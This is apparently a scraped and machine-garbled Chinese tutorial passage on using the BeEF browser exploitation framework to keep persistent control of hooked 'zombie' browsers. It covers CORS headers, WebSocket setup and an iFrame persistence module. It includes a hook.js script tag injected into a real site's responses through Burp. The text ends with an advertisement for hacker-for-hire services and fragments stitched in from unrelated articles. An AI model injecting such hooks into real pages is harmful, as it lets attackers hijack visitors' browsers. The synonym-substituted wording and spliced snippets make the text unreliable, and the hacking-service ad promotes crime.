前语
前两章分别对BeEF结构做了开端介绍以及讲解了初始化操控。
前情概要:浏览器进犯结构BeEF Part 1,浏览器进犯结构BeEF Part 2:初始化操控
接下来便是介绍怎么让BeEF继续操控僵尸们了。
继续化操控
BeEF在取得对僵尸们的初始化操控后,首要的使命是想办法继续化操控它们。这是由于初始化操控一般仅仅发生在单个或多个页面内(勾子一般只注入到一个页面或多个页面),一旦用户脱离/封闭这个页面,或许封闭浏览器。那么BeEF就失去了操控权,所以需求运用一些办法来尽可能的坚持操控,为后边的进犯争夺更多时刻。不难想象,运用BeEF来进犯浏览器是一件分秒必争的工作。继续化操控也被分为两个方面。一方面是耐久通讯,也便是BeEF服务器和僵尸之间通讯技能的挑选,越高档的通讯技能,速度也快。另一方面是耐久存续,也便是想办法运用户尽可能的呆在有勾子的页面。
耐久通讯
为了让BeEF服务器与僵尸之间快速的通讯(全双工),BeEF供给三种通讯的技能。分别是XMLHttpRequest 、WebSocket 、WebRTC。三种办法各有优缺点,下面逐个介绍。
运用跨域资源共享
在介绍通讯之前,有必要提一下CORS(跨域资源共享)。CORS扩展了一下SOP(同源战略),能够答应页面读取其它来历的HTTP呼应。关于被勾连的页面来说,BeEF服务器无疑便是一个异源。为了让浏览器在勾连的页面运转BeEF发送的指令,就需求运用CORS。
BeEF服务器经过在每一个HTTP呼应中都包括以下的HTTP首部来完成这一点:
##答应来自任何地方的跨域POST和GET恳求
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST, GET
BeEF服务器回来上面的句子,那么浏览器就能够读取其悉数HTTP呼应。假如没有包括上面的CORS首部,SOP就会阻挠读取BeEF服务器回来的数据。这儿需求提示一下,浏览器仅仅无法跨域读取数据,可是能够发送数据的。也便是说咱们能够经过BeEF来操作浏览器向任何域发送HTTP恳求,可是纷歧定能读取回来的HTTP呼应。这一点很重要,后边的一些进犯便是用了这一特性。
运用XMLHttpRequest通讯
这是BeEF的默许通讯技能。原因很简单,简直一切的浏览器都支撑这种技能,兼容性更好,但它也是三种技能中最慢的。读者假如有爱好能够运用Burp Suite来截取一下BeEF与僵尸的交互数据,就能够更明晰的看到它们的交互进程了。
运用WebSocket通讯
WebSocket正如其名,是Web中socket。WebSocket协议是一种非常快 、全双工的通讯技能。它比XMLHttpRequest要快。可是某些旧的浏览器是不支撑的,IE从10开端支撑,Firefox从16.0开端支撑,chrome从23.0开端支撑。BeEF默许是没有开WebSocket的,需求设置一下。
找到beef的配置文件,kali下是/usr/share/beef-xss/config.yaml, 找到下面选项,并做如下修正。
# Prefer WebSockets over XHR-polling when possible. websocket: enable: true
重启beef服务器,就收效了。BeEF会依据浏览器是否支撑WebSocket,假如支撑,那么今后就运用WebSocket来通讯。假如不支撑,那么就运用XMLHttpRequest来通讯。即BeEF会主动挑选通讯技能,优先挑选快速的技能。
运用WebRTC
网页实时通讯(Web Real-Time Communication)是一个支撑网页浏览器进行实时语音对话或视频对话的技能。这个技能是最快的,但要较新的浏览器才支撑。笔者检查了一下配置文件/usr/share/beef-xss/extensions/webrtc/config.yaml,发现如同需求server才行:
检查官方的文档也没有介绍,笔者也不了解WebRTC这项技能,没有运用成功。所以干脆把它关了,enable: true 变 enable: false。
除了这三种技能之外还有DNS地道技能,这是比较荫蔽的通讯办法,可是不太安稳。所以这儿就不介绍了。实践上有WebSocket技能就现已满足快速了。当然还有一个硬伤,那便是网速,这是百般无奈的了。
耐久存续
选好了通讯的途径,那么接下来要考虑一下怎么在用户脱离/封闭页面或许封闭浏览器时仍旧坚持操控。BeEF给出了四个处理的办法,分别是运用IFrame 、窗口工作处理函数 、动态底层弹出窗口 、以及浏览器中间人技能。独自运用任何一种技能或组合运用这些技能,能够完成对被勾连浏览器的耐久操控。
运用IFrame内嵌结构
IFrame是HTML中的一个标签,能够创立包括别的一个文档的内联结构。为了耐久的操控,能够创立一个全屏(整个浏览器)的IFrame来把页面放进去。BeEF的作者主张假如想耐久化,内嵌结构是首选计划,原因如下:榜首,能够彻底操控内嵌结构的DOM内容。第二,内嵌结构首要用于在当前页面嵌入其他文档的现实,为耐久化供给了直接了当的办法。实践操作一下会更明晰这个办法:
保证敞开了BeEF服务器。笔者用freebuf来做测验,运用Burp阻拦Response并在其间刺进以下句子。
script src="http://BeEF server:3000/hook.js" type="text/javascript">script>
得到初始化操控后,接下来便是运用IFrame内嵌结构技能了,对应的功能模块是Persistence –> Create foreground iFrame, 这个模块不需求任何参数,点击Execute 运转就能够了。
履行后,僵尸浏览器这边是没有任何反常的。
[1] [2] 黑客接单网
如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在make_child,然后执行apache2ctl graceful,执行完然后在gdb的流程跳到make_chil...
2、风险的辣条24、password1 (新呈现) cd aflsmart黑客接单先做后付,怎么找专业黑客接单 eosio_assert(0,"This is assert by myself");(...
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708先给大家简单介绍一下“MS_T120”这...
那么,拨打电话的问题处理了,那些公司的“智能机器人”是怎么运转的呢?2、password (无变化)网络金融违法指的是针对银行等金融机构的网络进犯,在曩昔许多传统的网络违法安排首要针对的是PoS机歹意...
示例:Envoy头部到Fuzzer的映射 identifer string casted to unsigned long. */Event ID: 4104查找微信聊天记录, 这当即就让我想起了不久...
这儿先折腾下Hashcat吧,gpu加快的那两货暂时玩不起来。...